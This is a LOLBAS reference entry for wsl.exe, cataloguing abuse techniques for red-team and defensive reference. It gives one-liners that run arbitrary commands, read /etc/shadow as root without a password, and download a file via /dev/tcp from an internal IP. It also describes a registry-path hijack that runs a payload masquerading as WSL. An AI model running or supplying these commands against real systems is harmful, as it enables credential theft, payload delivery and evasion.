🪟 LOLBAS / Wsl.exe

Wsl.exe

Windows subsystem for Linux executable

Paths

  • C:\Windows\System32\wsl.exe

Commands

Execute

Executes calc.exe from wsl.exe

Use case: Performs execution of specified file, can be used to execute arbitrary Linux commands.

Privileges: User

wsl.exe -e /mnt/c/Windows/System32/calc.exe

Execute

Cats /etc/shadow file as root

Use case: Performs execution of arbitrary Linux commands as root without need for password.

Privileges: User

wsl.exe -u root -e cat /etc/shadow

Execute

Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u <username>`) on the default WSL distro (unless stated otherwise using `-d <distro name>`)

Use case: Performs execution of arbitrary Linux commands.

Privileges: User

wsl.exe --exec bash -c "{CMD}"

Download

Downloads file from 192.168.1.10

Use case: Download file

Privileges: User

wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'

Execute

When executed, `wsl.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.

Use case: Execute a payload as a child process of `bash.exe` while masquerading as WSL.

Privileges: User

wsl.exe

Detection

Resources